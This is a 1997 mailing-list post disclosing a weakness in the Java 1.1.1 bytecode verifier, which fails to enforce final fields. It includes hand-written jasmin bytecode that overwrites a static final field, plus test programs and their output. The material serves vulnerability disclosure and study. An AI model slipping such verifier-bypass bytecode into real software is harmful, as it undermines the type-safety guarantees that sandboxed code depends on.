Message-Id: <3.0.32.19970407212546.00e2a878@homer.communities.com>
Date: Fri, 30 May 1997 10:27:24 -0700
To: java-security@web2.javasoft.com, kimera@cs.washington.edu,
From: Bill Frantz <frantz@communities.com>
Subject: New(?) weakness in Java bytecode verification
I believe I have found a new weakness in the bytecode verifier in Java
version 1.1.1. It does not always ensure that a field with the final
attribute is actually final. The only place I have tested this flaw in
on a Sparc under Solaris.
My apologies for using styled text in the examples below. I want to
easily delimit the various examples and my commentary.
I would like to thank Jon Meyer for making the jasmin bytecode assembler
available <<http://www.mrl.nyu.edu/meyer/jasmin/>. Having a working
assembler in less than an hour (including learning enough of the syntax)
greatly eased building the following tests.
<bold>Here is the jasmin source for the badguy class:
</bold>host% cat examples/FinalTest.j
.class public examples/FinalTest
.super java/lang/Object
.field static final foo Ljava/lang/Integer;
;
; standard initializer
.method public <<init>()V
aload_0
invokenonvirtual java/lang/Object/<<init>()V
return
.end method
.method public static <<clinit>()V
.limit stack 3
new java/lang/Integer
dup
iconst_1
invokenonvirtual java/lang/Integer/<<init>(I)V
putstatic examples/FinalTest/foo Ljava/lang/Integer;
return
.end method
.method public static putFoo(Ljava/lang/Integer;)V
.limit stack 1
aload_0
putstatic examples/FinalTest/foo Ljava/lang/Integer;
return
.end method
<bold>This assembly file is the equivalent of:
</bold>
package examples;
class FinalTest {
static final Integer foo = new Integer(1);
public static void putFoo(Integer i) {
foo = i;
}
}
<bold>The test program and its execution:
</bold>host% cat examples/Test.java
package examples;
public class Test {
public static void main(String[] args) {
System.out.println("foo = " + FinalTest.foo.toString());
FinalTest.putFoo(new Integer(2));
System.out.println("foo = " + FinalTest.foo.toString());
}
}
host% java -verify examples.Test
foo = 1
foo = 2
<bold>Another test which was compiled when foo was not declared "final"
(If foo is declared final in the jasmin source, then Set gets a compile
time error.):
</bold>host% cat examples/Set.java
package examples;
public class Set {
public static void main(String[] args) {
FinalTest.foo = new Integer(2);
System.out.println("foo = " + FinalTest.foo.toString());
}
}
host% java -verify examples.Set
java.lang.IllegalAccessError: examples.FinalTest: field foo is final
at examples.Set.main(Set.java:6)
Bill Frantz Electric Communities
Capability Security Guru 10101 De Anza Blvd.
frantz@communities.com Cupertino, CA 95014
408/342-9576 http://www.communities.com